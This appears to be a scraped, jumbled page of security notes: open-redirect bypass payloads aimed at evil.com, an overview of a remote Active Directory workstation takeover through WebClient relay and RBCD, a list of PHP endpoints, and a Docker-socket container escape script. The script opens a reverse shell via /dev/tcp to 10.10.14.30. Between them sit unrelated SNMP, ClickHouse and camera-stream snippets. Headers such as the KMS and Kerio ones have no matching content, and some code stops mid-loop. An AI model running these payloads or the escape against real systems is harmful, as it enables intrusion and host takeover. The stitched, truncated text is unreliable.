Mikhail pirenga

Microsoft Windows and Office KMS Setup

Open redirect bypasses

Simply try to change the domain

Example: ?redirect=https://example.com --> ?redirect=https://evil.com
Bypass the filter when protocol is blacklisted using //

Example: ?redirect=https://example.com --> ?redirect=//evil.com

Kerio Connect - Stack Buffer Overflow in 2FASetup

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
Relaying that machine authentication to LDAPS for configuring RBCD
RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

	rss.php
	coupon_activation.php
	tools/bizproc_wf_settings.php
	tools/seo_yandex.php
	tools/seo_google.php
	tools/get_catalog_menu.php
	tools/sale_farm_check_print.php
	tools/vote/uf.php
	tools/vote/vote_chart.php

	#!/bin/bash

	# you can see images availables with
	# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
	# here we have sandbox:latest

	# command executed when container is started
	# change dir to tmp where the root fs is mount and execute reverse shell

	cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"

	#!/bin/bash

	apt-get remove --purge snmpd
	apt-get install snmpd
	apt-get install snmp-mibs-downloader
	sed -i "s\|-Lsd\|-LS4d\|" /etc/default/snmpd
	sed -i "s\|-Lsd\|-LS4d\|" /lib/systemd/system/snmpd.service
	systemctl daemon-reload
	service snmpd restart

	SELECT table,
	formatReadableSize(sum(bytes)) as size,
	min(min_date) as min_date,
	max(max_date) as max_date
	FROM system.parts
	WHERE active
	GROUP BY table

	#!/bin/bash

	OUTDIR=.

	while read -r db ; do
	while read -r table ; do

	if [ "$db" == "system" ]; then
	echo "skip system db"
	continue 2;

	rtsp://ip:554/Streaming/channels/101 - cam01 channel1
	rtsp://ip:554/Streaming/channels/102 - cam01 channel2


	rtsp://ip:554/Streaming/channels/001 superchannel